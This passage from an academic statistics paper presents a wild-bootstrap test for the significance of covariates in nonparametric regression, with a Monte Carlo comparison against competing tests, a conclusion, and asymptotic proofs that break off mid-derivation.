\[Bootstrap Consistency\] Suppose Assumptions \[Sample\], \[RegulHyp\], and Conditions (i) to (iii) of Theorem \[Consistency\] hold. Moreover, assume $\inf_{w\in\mathcal{S}_{W}}f\left(w\right)>0$ and $h/g^{2}\to
0$. Then for $I_{n}^{*}$ equal to any of $\widehat{I}_{n}^{*}$ and $\tilde{I}_{n}^{*}$, $$\sup_{z\in\mathbb{R}}\left|\mathbb{P}\left[nh^{p/2}I_{n}^{*}/\omega_{n}^{*}\leq
z\mid Y_1,W_{1}, X_{1},\cdots, Y_n, W_{n},
X_{n}\right]-\Phi\left(z\right)\right| {\mbox{$\stackrel{p}{\longrightarrow}\,$}}0 \, ,$$ where $\Phi\left(\cdot\right)$ is the standard normal distribution function.
Monte Carlo Study
=================
We investigated the small sample behavior of our test and studied its performances relative to alternative tests. We generated data through $$Y=\left(W'\theta\right)^{3} - W'\theta+ \delta d\left(X\right) + \varepsilon$$ where $W$ follow a two-dimensional standard normal, $X$ independently follows a $q$-variate standard normal, $\varepsilon\sim
\mathcal{N}\left(0, 4\right)$, and we set $\theta=\left(1,\,-1\right)^{\prime}/\sqrt{2}$. The null hypothesis corresponds to $\delta = 0$, and we considered various forms for $d(\cdot)$ to investigate power. We only considered the test based on $\tilde{I}_n$, labelled LMP, as preliminary simulation results showed that it had similar or better performances than the test based on $\widehat{I}_n$. We compared it to the test of Lavergne and Vuong (2000, hereafter LV), and the test of Delgado and Gonzalez-Manteiga (2001, hereafter DGM). The statistic for the latter test is the Cramer-von-Mises statistic $$\sum_{i=1}^{n} \left[ \sum_{j=1}^{n}{ \widehat{u}_{j}} \widehat{f}_{j}
\,\mathbf{1}\left\{W_j \leq W_{i}\right\} \,\mathbf{1}\left\{X_j
\leq X_{i}\right\} \right]^{2}
\, ,$$ and critical values are obtained by wild bootstrapping as for our own statistic. To compute bootstrap critical values, we used 199 bootstrap replications and the two-point distribution $$\Pr \left( \eta_{i} = \frac{1-\sqrt{5}}{2} \right)
=
\frac{5+\sqrt{5}}{10}
\; , \;
\Pr \left( \eta_{i} = \frac{1+\sqrt{5}}{2} \right)
=
\frac{5-\sqrt{5}}{10}
\; .$$ For all tests, each time a kernel appears, we used the Epanechnikov kernel applied to the norm of its argument $u$, that is $0.75\,\left(1-\left\Vert u\right\Vert^2\right)\mathbf{1}\left\{
\left\Vert u\right\Vert <1\right\}$. The bandwidth parameters are set to $g=n^{-1/6}$ and $h=c \, n^{-2.1/6}$, and we let $c$ vary to investigate the sensitivity of our results to the smoothing parameter’s choice. To study the influence of $\psi(\cdot)$ on our test, we considered $\psi(x) = l\left(\left\Vert x\right\Vert
\right)$, where $l(\cdot)$ is a triangular or normal density, each with a second moment equal to one.
Figure \[fig:LevelCont\] reports the empirical level of the various tests for $n=100$ based on 5000 replications when we let $c$ and $q$ vary. For our test, bootstrapping yields more accurate rejection levels than the asymptotic normal critical values for any bandwidth factor $c$ and dimension $q$. The choice of $\psi(\cdot)$ does not influence the results. The empirical level of LV test is much more sensitive to the bandwidth and the dimension. The empirical level of the DGM test is close to the nominal one for a low dimension $q$, but decreases with increasing $q$.
To investigate power, we considered different forms of alternatives as specified by $d(\cdot)$. We first focus on a quadratic alternative, where $d\left(X\right)= \left(X'\beta-1\right)^{2}/\sqrt{2}$, with $\beta=\left(1,\,,1,\,,\dots\right)^{\prime}/\sqrt{q}$. Figure \[fig:PowerContQs\] reports power curves of the different tests for the quadratic alternative, $n=100$, and a nominal level of 10% based on $2000$ replications. We also report the power of a Fisher test based on a linear specification in the components of $X$. The power of our test, as well as the one of LV test, increases when the bandwidth factor $c$ increases. This is in line with theoretical findings, though we may expect this relationship to revert for very large bandwidths. Our test always dominates LV test, as well as the Fisher test and DGM test, for any choice of $c$ and any dimension $q$. The power of all tests decreases when the dimension $q$ increases, but the more notable degradation is for the DGM test. In Figure \[fig:PowerContNs\], we let $n$ vary for a fixed dimension $q=5$. The power of all tests improve, but our main qualitative findings are not affected. It is noteworthy that the power advantage of our test compared to LV test become more pronounced as $n$ increases. In Figure \[fig:PowerContAlter\], we considered a linear alternative $d\left(X\right)=X'\beta$ and a sine alternative, $d\left(X\right)=
\sin\left(2 \, X'\beta\right)$. Our main findings remain unchanged. For a linear alternative, the Fisher test is most powerful as expected. Compared to this benchmark, the loss of power when using our test is moderate for a large enough bandwidth factors $c$. For a sine alternative, our test is more powerful than the Fisher test for $c=2$ or 4.
We also considered the case of a discrete $X$. We generated data following $$Y=\left(W'\theta\right)^{3} - W'\theta+ \delta d\left(W\right) \,\mathbf{1}\left\{X=1\right\} + \varepsilon$$ where $W$ and $\varepsilon$ are generated as before, and $X$ is Bernoulli with probability of success $p=0.6$. We compared our test to two competitors. The test proposed by Lavergne (2001) is similar to our test with the main difference that $\psi(\cdot)$ is the indicator function, i.e. $\psi\left( X_i - X_j\right) =
\mathbf{1}\left\{X_i=X_j\right\}$. The test of Neumeyer et Dette (2003, hereafter ND) is similar in spirit to the DGM test. The details of the simulations are similar to above. Figures \[fig:LevelDisc\] and \[fig:PowerDisc\] report our results. Bootstrapping our test and Lavergne’s test yield accurate rejection levels, while the asymptotic tests and the ND test underrejects. Under a quadratic alternative, the power of our test is comparable to the one of the ND test for a large enough bandwidth factor $c$. Under a sine alternative, our test outperforms ND test in all cases.
Conclusion
==========
We have developed a testing procedure for the significance of covariates in a nonparametric regression. Smoothing is entertained only for the covariates under the null hypothesis. The resulting test statistic is asymptotically pivotal, and wild bootstrap can be used to obtain critical values in small and moderate samples. The test is versatile, as it applies whether the covariates under test are continuous and/or discrete. Simulations reveal that our test outperforms its competitors in many situations, and especially when the dimension of covariates is large.
Proofs
======
We here provide the proofs of the main results. Technical lemmas are relegated to the Appendix.
In the following, for any integrable function $\delta(X),$ let $\mathcal{F}_{X}\left[\delta\right]\left(u\right)=\mathbb{E}[e^{ -2\pi
i\langle X, \;u\rangle} \delta\left(X\right)],$ $u\in\mathbb{R}^q.$ Moreover, for any index set $I$ not containing $i$ with cardinality $\left|I\right|$, define $$\widehat{f_{i}^{I}}=\left(n-\left|I\right|-1\right)^{-1}\sum_{k\neq
i,k\notin I}L_{nik},$$ consistent with $\widehat{f_{i}}$ that corresponds to the case where $I$ is the empty set.
Proof of Theorem \[Consistency\]
--------------------------------
We first consider the case $I_n=\tilde{I}_{n}$. Next, we study the difference between $\tilde{I}_{n}$ and $\widehat{I}_{n}$ and hence deduce the result for $I_n=\widehat{I}_{n}$.
#### Case $I_n=\tilde{I}_{n}$.
Consider the decomposition $$\begin{aligned}
I_{n} & = &
\frac{1}{n^{\left(4\right)}}\sum_{a}\left(u_{i}-u_{k}\right)\left(u_{j}-u_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\ &
&
+\frac{2}{n^{\left(4\right)}}\sum_{a}\left(u_{i}-u_{k}\right)\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\ &
&
+\frac{1}{n^{\left(4\right)}}\sum_{a}\left(r_{i}-r_{k}\right)\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\ &
= & I_{1}+2I_{2}+I_{3},\end{aligned}$$ where $$\begin{aligned}
I_{1} & = & \frac{n-2}{n-3}\frac{1}{n^{(2)}}\sum_{a}u_{i}u_{j}f_{i}f_{j}K_{nij}\psi_{ij}+\frac{2\left(n-2\right)}{n-3}\frac{1}{n^{\left(2\right)}}\sum_{a}u_{i}\left(\widehat{f}_{i}^{j}-f_{i}\right)u_{j}f_{j}K_{nij}\psi_{ij}\\
& & +\frac{n-2}{n-3}\frac{1}{n^{(2)}}\sum_{a}u_{i}\left(\widehat{f}_{i}^{j}-f_{i}\right)u_{j}\left(\widehat{f}_{j}^{i}-f_{j}\right)K_{nij}\psi_{ij}-\frac{2}{n^{(3)}}\sum_{a}u_{i}f_{i}u_{l}L_{njl}K_{nij}\psi_{ij}\\
& & -\frac{2}{n^{\left(3\right)}}\sum_{a}u_{i}\left(\widehat{f}_{i}^{j,l}-f_{i}\right)u_{l}L_{njl}K_{nij}\psi_{ij}+\frac{1}{n^{\left(4\right)}}\sum_{a}u_{k}u_{l}L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & -\frac{1}{n^{\left(4\right)}}\sum_{a}u_{i}u_{j}L_{nik}L_{njk}K_{nij}\psi_{ij}\\
& = & \frac{n-2}{n-3}\left[I_{0n}+2I_{1,1}+I_{1,2}\right]-2I_{1,3}-2I_{1,4}+I_{1,5}-I_{1,6},\end{aligned}$$ and $$\begin{aligned}
I_{2} & = & \frac{1}{n^{\left(3\right)}}\sum_{a}u_{i}f_{i}\left(r_{j}-r_{l}\right)L_{njl}K_{nij}\psi_{ij}+\frac{1}{n^{\left(3\right)}}\sum_{a}u_{i}\left(\widehat{f}_{i}^{j,l}-f_{i}\right)\left(r_{j}-r_{l}\right)L_{njl}K_{nij}\psi_{ij}\\
& & -\frac{1}{n^{\left(4\right)}}\sum_{a}u_{k}\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}=I_{2,1}+I_{2,2}-I_{2,3}.\end{aligned}$$
In Proposition \[Normality\] we prove that, under $H_{0},$ $I_{0n}$ is asymptotically centered Gaussian with variance $\omega^{2}$, while in Proposition \[NormalityH1\] we prove that, under $H_{1n},$ $I_{0n}$ is asymptotically Gaussian with mean $\mu$ and variance $\omega^{2}$ provided $\delta_{n}^{2}nh^{p/2}$ converges to some positive real number. In Propositions \[Ustat\] and \[Remaining\] we show that all remaining terms in the decomposition of $I_n$ are asymptotically negligible.
\[Normality\]Under the conditions of Theorem \[Consistency\], $nh^{p/2}I_{0n} {\mbox{$\stackrel{d}{\longrightarrow}\,$}}\mathcal{N}\left(0,\omega^{2}\right)$ under $H_{0}$.
Let us define the martingale array $\left\{
S_{n,m},\mathcal{F}_{n,m},\,1\leq m\leq n,\, n\geq1\right\} $ where $S_{n,1}=0,$ and $$S_{n,m}=\sum_{i=1}^{m}G_{n,i} \;\;\; \text{ with } \; \;\; G_{n,i}=\dfrac{2h^{p/2}}{n-1}u_{i}f_{i}\sum_{j=1}^{i-1}u_{j}f_{j}K_{nij}\psi_{ij},
\qquad 2\leq i, m \leq n,$$ and $\mathcal{F}_{n,m}$ is the $\sigma-$field generated by $\left\{ W_{1},\,\dots,\, W_{n},\, X_{1},\,\dots,\, X_{n},\, Y_{1},\,\dots,\, Y_{m}\right\} .$ Thus $nh^{p/2}I_{0n}=S_{n,n}$. Also define $$V_{n}^{2} = \sum_{i=2}^{n}E\left[G_{n,i}^{2}\mid\mathcal{F}_{n,i-1}\right]
= \dfrac{4h^{p}}{\left(n-1\right)^{2}}\sum_{i=2}^{n}\sigma_{i}^{2}f_{i}^{2}\left(\sum_{j=1}^{i-1}u_{j}f_{j}K_{nij}\psi_{ij}\right)^{2}$$ where $\sigma_{i}^{2}=\sigma^{2}\left(W_{i},X_{i}\right)$. We can decompose $V_{n}^{2}$ as $$\begin{aligned}
V_{n}^{2} & = & \dfrac{4h^{p}}{\left(n-1\right)^{2}}\sum_{i=2}^{n}\sigma_{i}^{2}f_{i}^{2}\sum_{j=1}^{i-1}\sum_{k=1}^{i-1}u_{j}f_{j}u_{k}f_{k}K_{nij}K_{nik}\psi_{ij}\psi_{ik}\\
& = & \dfrac{4h^{p}}{\left(n-1\right)^{2}}\sum_{i=2}^{n}\sum_{j=1}^{i-1}\sigma_{i}^{2}f_{i}^{2}u_{j}^{2}f_{j}^{2}K_{nij}^{2}\psi_{ij}^{2}\\
& & +\dfrac{8h^{p}}{\left(n-1\right)^{2}}\sum_{i=3}^{n}\sum_{j=2}^{i-1}\sum_{k=1}^{j-1}\sigma_{i}^{2}f_{i}^{2}u_{j}f_{j}u_{k}f_{k}K_{nij}K_{nik}\psi_{ij}\psi_{ik}
= A_{n}+B_{n}.\end{aligned}$$ The result follows from the Central Limit Theorem for martingale arrays, see Corollary 3.1 of [@Hall1980]. The conditions required for Corollary 3.1 of [@Hall1980], among which $V_{n}^{2}{\mbox{$\stackrel{p}{\longrightarrow}\,$}}\omega^{2}$, are checked in Lemma \[AAn\] below. Its proof is provided in the Appendix.
\[AAn\] Under the conditions of Proposition \[Normality\],
1. \[An\] $A_{n}{\mbox{$\stackrel{p}{\longrightarrow}\,$}}\omega^{2}$,
2. \[Bn\] $B_{n}{\mbox{$\stackrel{p}{\longrightarrow}\,$}}0$,
3. \[Lindebergh\] the martingale difference array $\left\{ G_{n,i},\,\mathcal{F}_{n,i},\,1\leq i\leq n\right\} $ satisfies the Lindeberg condition $$\forall\varepsilon>0,\quad\sum_{i=2}^{n}\mathbb{E}
\left[G_{n,i}^{2}I\left(\left|G_{n,i}\right|>\varepsilon\right)\mid\mathcal{F}_{n,i-1}\right]
{\mbox{$\stackrel{p}{\longrightarrow}\,$}}0 \, .$$
\[NormalityH1\] Under the conditions of Theorem \[Consistency\] and $H_{1n},$ if $\delta_{n}^{2}nh^{p/2}\rightarrow C$ with $0<C<\infty,$ $nh^{p/2}I_{0n} {\mbox{$\stackrel{d}{\longrightarrow}\,$}}\mathcal{N}\left(C \mu,\omega^{2}\right)$.
Let $\varepsilon_{i}=Y_{i}-\mathbb{E}\left[Y_{i}\mid W_{i},\,
X_{i}\right]$ and let us decompose $$\begin{aligned}
nh^{p/2}I_{0n} & = & \dfrac{h^{p/2}}{n-1}\sum_{i=1}^{n}\sum_{j\neq i}u_{i}f_{i}u_{j}f_{j}K_{nij}\psi_{ij}\\
& = & \dfrac{h^{p/2}}{n-1}\sum_{i=1}^{n}\sum_{j\neq i}\left(\delta_{n}d_{i}+\varepsilon_{i}\right)f_{i}\left(\delta_{n}d_{j}+\varepsilon_{j}\right)f_{j}K_{nij}\psi_{ij}\\
& = & \dfrac{h^{p/2}}{n-1}\sum_{i=1}^{n}\sum_{j\neq i}\varepsilon_{i}f_{i}\varepsilon_{j}f_{j}K_{nij}\psi_{ij}+\dfrac{\delta_{n}h^{p/2}}{n-1}\sum_{i=1}^{n}\sum_{j\neq i}d_{i}f_{i}\left(\delta_{n}d_{j}+2\varepsilon_{j}\right)f_{j}K_{nij}\psi_{ij}\\
&=& C_{0n}+C_{n}.\end{aligned}$$ By Proposition \[Normality\], $C_{0n}{\mbox{$\stackrel{d}{\longrightarrow}\,$}}\mathcal{N}\left(0,\omega^{2}\right). $ As for $C_{n}$, we have $$\mathbb{E}\left[C_{n}\right] =
\delta_{n}^{2}nh^{p/2}\mathbb{E}\left[d_{i}f_{i}d_{j}f_{j}K_{nij}\psi_{ij}\right]=
\delta_{n}^{2}nh^{p/2}\mu_{n}
\, .$$ By repeated application of Fubini’s Theorem, Fourier Inverse formula, Dominated Convergence Theorem, and Parseval’s identity, we obtain $$\begin{aligned}
\mu_{n} & = &
\mathbb{E}\left[d_{1}f_{2}d_{1}f_{2}K_{n12}\psi_{12}\right]\\ & = &
\mathbb{E}\left[\iint
d\left(w_{1},X_{1}\right)d\left(w_{2},X_{2}\right)f\left(w_{1}\right)f\left(w_{2}\right)f\left(w_{1}|X_{1}\right)f\left(w_{2}|X_{2}\right)\right.\\ &&\qquad
\qquad \qquad \qquad\qquad \qquad\qquad \qquad\qquad \qquad\times
\left. h^{-p}K\left(\dfrac{w_{1}-w_{2}}{h}\right)dw_{1}dw_{2}\;\,\psi\left(X_{1}-X_{2}\right)\right]\\ &
= & \mathbb{E}\left[
\int\!\!\mathcal{F}\!\left[d\left(\cdot,X_{1}\right)\!f\left(\cdot\right)\pi\left(\cdot\mid
X_{1}\right)\right]\!\left(t\right)\mathcal{F}\left[d\left(\cdot,X_{2}\right)\!f\left(\cdot\right)\pi\left(\cdot\mid
X_{2}\right)\right]\!\left(-t\right)\mathcal{F}\left[K\right]\left(ht\right)dt\;\psi\left(X_{1}-X_{2}\right)\right]\\ &
\to & \mathbb{E}\left[ \left[
\int\mathcal{F}\left[d\left(\cdot,X_{1}\right)f\left(\cdot\right)\pi\left(\cdot\mid
X_{1}\right)\right]\left(t\right)\mathcal{F}\left[d\left(\cdot,X_{2}\right)f\left(\cdot\right)\pi\left(\cdot\mid
X_{2}\right)\right]\left(-t\right)dt\;
\right]\psi\left(X_{1}-X_{2}\right)\right]\\ & = &
\mathbb{E}\left[\int
d\left(w,X_{1}\right)d\left(w,X_{2}\right)f^{2}\left(w\right)\pi\left(w\mid
X_{1}\right)\pi\left(w\mid
X_{2}\right)\psi\left(X_{1}-X_{2}\right)dw\right]\\ &=&\int
\left[\int \mathcal{F}_X\left[
d\left(w,\cdot\right)\pi\left(w\mid\cdot\right)\right](u)
\mathcal{F}_X\left[d\left(w,\cdot\right)\pi\left(w\mid\cdot\right)\right](-u)\mathcal{F}[\psi](u)du
\right] f^{2}\left(w\right)dw\\ &=& \iint \left| \mathcal{F}_X\left[
d\left(w,\cdot\right)\pi\left(w\mid\cdot\right)\right](u)\right|^2
\mathcal{F}[\psi](u) f^{2}\left(w\right)du dw =\mu \, .\end{aligned}$$ Moreover,
$$\begin{aligned}
\mbox{Var}\left[C_{n}\right] & \leq & \dfrac{4\delta_{n}^{4}h^{p}}{\left(n-1\right)^{2}}\sum_{a}\mathbb{E}\left[d_{i}^{2}f_{i}^{2}d_{k}d_{l}f_{k}f_{l}K_{nik}K_{nil}\psi_{ik}\psi_{il}\right]\\
& & +\dfrac{2\delta_{n}^{4}h^{p}}{\left(n-1\right)^{2}}\sum_{a}\mathbb{E}\left[d_{i}^{2}f_{i}^{2}d_{k}^{2}f_{k}^{2}K_{nik}^{2}\psi_{ik}^{2}\right]\\
& & +\dfrac{4\delta_{n}^{2}h^{p}}{\left(n-1\right)^{2}}\sum_{a}\mathbb{E}\left[d_{i}f_{i}d_{j}f_{j}\varepsilon_{k}^{2}f_{k}^{2}K_{nik}K_{njk}\psi_{ik}\psi_{jk}\right]\\
& & +\dfrac{4\delta_{n}^{2}h^{p}}{\left(n-1\right)^{2}}\sum_{a}\mathbb{E}\left[d_{i}^{2}f_{i}^{2}\varepsilon_{k}^{2}f_{k}^{2}K_{nik}^{2}\psi_{ik}^{2}\right]\\
& = & O\left(\delta_{n}^{4}nh^{p}\right)+O\left(\delta_{n}^{4}\right)+O\left(\delta_{n}^{2}nh^{p}\right)+O\left(\delta_{n}^{2}\right).\end{aligned}$$
Therefore $C_{n}=C\mu_{n}+O_p\left(\delta_{n} n^{1/2} h^{p/2}\right)
{\mbox{$\stackrel{p}{\longrightarrow}\,$}}C \mu$, and the desired result follows.
\[Ustat\] Under the conditions of Theorem \[Consistency\],
[(i)]{}
: $nh^{p/2}I_{1,3}=\delta_{n}\sqrt{n}h^{p/2}O_{p}\left(1\right)+o_{p}\left(1\right)$,
[(ii)]{}
: $nh^{p/2}I_{1,5}=o_{p}\left(1\right)$,
[(iii)]{}
: $nh^{p/2}I_{1,6}=\delta_{n}^{2}nh^{p/2}o_{p}\left(1\right)+o_{p}\left(1\right)$,
[(iv)]{}
: $nh^{p/2}I_{2,1}=\delta_{n}\sqrt{n}h^{p/2}o_{p}\left(1\right)+\delta_{n}\sqrt{n}h^{p/2}g^{s}O_{p}\left(1\right)+o_{p}\left(1\right)$,
[(v)]{}
: $nh^{p/2}I_{2,3}=o_{p}\left(1\right)$,
[(vi)]{}
: $nh^{p/2}I_{3}=nh^{p/2}O_{p}\left(g^{2s}\right)+o_{p}\left(1\right)$.
\[Remaining\] Under the conditions of Theorem \[Consistency\],
[(i)]{}
: $nh^{p/2}I_{1,1}=\delta_{n}^{2}nh^{p/2}o_{p}\left(1\right)+\delta_{n}\sqrt{n}h^{p/2}o_{p}\left(1\right)+o_{p}\left(1\right)$,
[(ii)]{}
: $nh^{p/2}I_{1,2}=\delta_{n}^{2}nh^{p/2}o_{p}\left(1\right)+\delta_{n}\sqrt{n}h^{p/2}o_{p}\left(1\right)+o_{p}\left(1\right)$,
[(iii)]{}
: $nh^{p/2}I_{1,4}=\delta_{n}^{2}nh^{p/2}o_{p}\left(1\right)+\delta_{n}\sqrt{n}h^{p/2}o_{p}\left(1\right)+\left(ng^{p}\right)^{-1/2}o_{p}\left(1\right)+o_{p}\left(1\right)$,
[(iv)]{}
: $nh^{p/2}I_{2,2}=\delta_{n}^{2}nh^{p/2}o_{p}\left(1\right)+\delta_{n}\sqrt{n}h^{p/2}o_{p}\left(1\right)+o_{p}\left(1\right)$.
The proofs of the above propositions follow the ones in [@Lavergne2000]). For illustration, we provide in the Appendix the proofs of the first statements of each proposition.
#### Case $I_n=\widehat{I}_{n}$.
We have the following decomposition $$\label{ilvifl}
n^{\left(4\right)}\tilde{I}_{n} =
n\left(n-1\right)^{3}\widehat{I}_{n}-n^{\left(3\right)}V_{1n}-2n^{\left(3\right)}V_{2n}+n^{\left(2\right)}V_{3n}$$ $$\begin{aligned}
\mbox{where } \quad
V_{1n}& = &\dfrac{1}{n^{\left(3\right)}}\sum_{a}\left(Y_{i}-Y_{k}\right)\left(Y_{j}-Y_{k}\right)L_{nik}L_{njk}K_{nij}\psi_{ij}\, ,\\
V_{2n}& = &\dfrac{1}{n^{\left(3\right)}}\sum_{a}\left(Y_{i}-Y_{j}\right)\left(Y_{j}-Y_{k}\right)L_{nij}L_{njk}K_{nij}\psi_{ij}\, ,
\\
\mbox{and } \quad
V_{3n} & = &
\dfrac{1}{n^{\left(2\right)}}\sum_{a}\left(Y_{i}-Y_{j}\right)^{2}L_{nij}^{2}K_{nij}\psi_{ij}
\, .\end{aligned}$$ Hence, to show that $\widehat{I}_{n}$ has the same asymptotic distribution as $\tilde{I}_{n}$, it is sufficient to investigate the behavior of $V_{1n}$ to $V_{3n}.$ Using $Y_i = r_i + u_i,$ it is straightforward to see that the dominating terms in $V_{1n},V_{2n}$ and $V_{3n}$ are $$V_{13}=\dfrac{1}{n^{\left(3\right)}}\sum_{a}\left(r_{i}-r_{k}\right)\left(r_{j}-r_{k}\right)L_{nik}L_{njk}K_{nij}\psi_{ij},$$ $$V_{23}=\dfrac{1}{n^{\left(3\right)}}\sum_{a}\left(r_{i}-r_{j}\right)\left(r_{j}-r_{k}\right)L_{nij}L_{njk}K_{nij}\psi_{ij},
\quad V_{33}=\dfrac{1}{n^{\left(2\right)}}\sum_{a}\left(r_{i}-r_{j}\right)^{2}L^2_{nij}K_{nij}\psi_{ij},$$ respectively. Now $$\begin{aligned}
\mathbb{E}\left[|V_{13}|\right] & = &
\mathbb{E}\left[|\left(r_{i}-r_{k}\right)\left(r_{j}-r_{k}\right)L_{nik}L_{njk}K_{nij}|
\right]\\ & = &
O\left(g^{-p}\right)\mathbb{E}\left[\left|r_{i}-r_{k}\right|\mathbf{L}_{nik}\mathbb{E}\left[\left|r_{j}-r_{k}\right|\mathbf{K}_{nij}\mid
Z_{i},Z_{k}\right]\right] = O\left(g^{-p}\right) \, ,
\\ \mathbb{E}\left[|V_{23}|\right] & = &
\mathbb{E}\left[|\left(r_{i}-r_{j}\right)\left(r_{j}-r_{k}\right)L_{nij}L_{njk}K_{nij}|\right]
\\ &= &
\mathbb{E}\left[\mathbb{E}\left[\left|r_{j}-r_{k}\right|\mathbf{L}_{njk}\mid
Z_{j}\right]\left|r_{i}-r_{j}\right|\mathbf{L}_{nij}\mathbf{K}_{nij}\right]\\ &
= &
o\left(1\right)\mathbb{E}\left[\left|r_{i}-r_{j}\right|\mathbf{L}_{nij}\mathbf{K}_{nij}\right]
= o\left(g^{-p}\right)
\\
\mathbb{E}\left[|V_{33}|\right] & = &
\mathbb{E}\left[\left(r_{i}-r_{j}\right)^{2}L_{nij}^{2}|K_{nij}|\right]\\ &
= &
O\left(g^{-2p}\right)\mathbb{E}\left[\left(r_{i}-r_{j}\right)^{2}\mathbf{K}_{nij}\right]
= o\left(g^{-2p}\right)
\, .\end{aligned}$$ It then follows that $nh^{p/2}\left(\tilde{I}_{n}-\widehat{I}_{n}\right)=O_p\left(h^{p/2}g^{-p}\right)$ which is negligible if $h/g^{2}\to0$. The asymptotic irrelevance of the above diagonal terms thus require more restrictive relationships between the bandwidths $h$ and $g$. For the sake of comparison, recall that [@FanLi1996] impose $h^{(p+q)}g^{-2p}\to0$ while [@Lavergne2000] require only $h^{p+q}g^{-p}\to0$. Since we do not smooth the covariates $X$, we are able to further relax the restriction between the two bandwidths.
Proof of Corollary \[corr\_test\_o\]
------------------------------------
It suffices to prove $\omega_{n}^{2}-\omega^{2} = o_p(1)$ with $\omega_{n}^{2}$ any of $\widehat{\omega}_{n}^{2}$ or $\tilde{\omega}_{n}^{2}$. First we consider the case $\omega_{n}^{2}=\widehat{\omega}_{n}^{2}.$ A direct approach would consist in replacing the definition of $\hat u_i \hat f_i$ and $\hat
u_j \hat f_j$, writing $\widehat{\omega}_{n}^{2}$ as a $U-$statistic of order 6, and studying its mean and variance. [A shorter approach is based on empirical process tools. The price to pay is the stronger condition $n^{7/8}g ^p/\ln n \rightarrow \infty$ instead of $ng ^p \rightarrow \infty.$]{} Let $\Delta \hat f_i = \hat f_i - f_i$, $\Delta \hat r_i \hat f_i = \hat r_i \hat f_i- r_i f_i$, and write $$\label{uifi_unif}
\hat u_i \hat f_i = u_if_i + Y_i \Delta \hat f_i - \Delta \hat r_i\hat f_i.$$
\[unif\_omeg\] Under Assumption \[Sample\], if $r(\cdot)f(\cdot) \in
\mathcal{U}^{p},$ $L(\cdot)$ is a function of bounded variation, [$g\rightarrow 0,$ and $n^{7/8}g ^p/\ln n \rightarrow \infty,$]{} then $$\sup_{1\leq i\leq n}\{|\Delta \hat r_i\hat f_i| + |\Delta \hat f_i| \} = o_p(1).$$
The proof relies on the uniform convergence of empirical processes and is provided in the Appendix. Now proceed as follows: square Equation (\[uifi\_unif\]), replace $\hat u_i^2 \hat f_i^2$ in the definition of $\widehat{\omega}_{n}^{2},$ and use Lemma \[unif\_omeg\] to deduce that $$\widehat{\omega}_{n}^{2} =
\dfrac{2h^{p}}{n^{\left(2\right)}}\sum_{a\left(2\right)} u_{i}^{2}
f_{i}^{2} u_{j}^{2} f_{j}^{2}K_{nij}^{2}\psi_{ij}^{2} + o_p(1)
\, .$$
Elementary calculations of mean and variance yield $$\dfrac{2h^p}{n^{(2)}}\sum_{a\left(2\right)} u_{i}^{2}
f_{i}^{2} u_{j}^{2} f_{j}^{2}K_{nij}^{2}\psi_{ij}^{2} - \omega^{2} =
o_p(1),$$ and thus $\widehat{\omega}_{n}^{2} - \omega^{2} = o_p(1).$
To deal with $\tilde{\omega}_{n}^{2}$, note that $\tilde{\omega}_{n}^{2} - \widehat{\omega}_{n}^{2}$ consists of “diagonal” terms plus a term which is $O\left(n^{-1}\tilde{\omega}_{n}^{2}\right)$. By tedious but rather straightforward calculations, one can check that such diagonal terms are each of the form $n^{-1}g^{-p}$ times a $U-$statistic which is bounded in probability. Hence $ \tilde{\omega}_{n}^{2} -
\widehat{\omega}_{n}^{2}= o_p(1)$.
Proof of Theorem \[Bootstrap Consistency\]
------------------------------------------
Let $\overline{Z}$ denote the sample $(Y_i,W_i,X_i),$ $1\leq i\leq n.$ Since the limit distribution is continuous, it suffices to prove the result pointwise by Polya’s theorem. Hence we show that $\forall
t\in\mathbb{R}$, $\mathbb{P}\left[nh^{p/2}I_{n}^{*}/\omega_{n}^{*}\leq
t\mid\overline{Z}\right]-\Phi\left(t\right)=o_p(1)$.
First, we consider the case $I_n^{*}=\tilde{I}_n$. Consider $$\begin{aligned}
I_{n,LV}^{*} & = & \dfrac{1}{n^{\left(4\right)}}\sum_{a}\left(\eta_{i}\hat{u}_{i}-\eta_{k}\hat{u}_{k}\right)\left(\eta_{j}\hat{u}_{j}-\eta_{l}\hat{u}_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{2}{n^{\left(4\right)}}\sum_{a}\left(\eta_{i}\hat{u}_{i}-\eta_{k}\hat{u}_{k}\right)\left(\hat{r}_{j}-\hat{r}_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{n^{\left(4\right)}}\sum_{a}\left(\hat{r}_{i}-\hat{r}_{k}\right)\left(\hat{r}_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& = & I_{1}^{*}+2I_{2}^{*}+I_{3}^{*}\end{aligned}$$ where we can further decompose $$\begin{aligned}
I_{1}^{*} & = & \dfrac{1}{n^{\left(4\right)}}\sum_{a}\eta_{i}\hat{u}_{i}\eta_{j}\hat{u}_{j}L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & -\dfrac{2}{n^{\left(4\right)}}\sum_{a}\eta_{j}\hat{u}_{j}\eta_{k}\hat{u}_{k}L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{n^{\left(4\right)}}\sum_{a}\eta_{k}\hat{u}_{k}\eta_{l}\hat{u}_{l}L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& = & I_{1,1}^{*}+I_{1,2}^{*}+I_{1,3}^{*}\end{aligned}$$ with
$$\begin{aligned}
I_{1,1}^{*} & = & \dfrac{\left(n-1\right)^{2}}{\left(n-3\right)\left(n-4\right)}\times\dfrac{1}{n^{\left(2\right)}}\sum_{a}\eta_{i}\hat{u}_{i}\eta_{j}\hat{u}_{j}\hat{f}_{i}\hat{f}_{j}K_{nij}\psi_{ij}\\
& & -\dfrac{2}{n-4}\times\dfrac{1}{n^{\left(3\right)}}\sum_{a}\eta_{i}\hat{u}_{i}\eta_{j}\hat{u}_{j}L_{nik}L_{nij}K_{nij}\psi_{ij}\\
& & -\dfrac{1}{n-4}\times\dfrac{1}{n^{\left(3\right)}}\sum_{a}\eta_{i}\hat{u}_{i}\eta_{j}\hat{u}_{j}L_{nik}L_{njk}K_{nij}\psi_{ij}\\
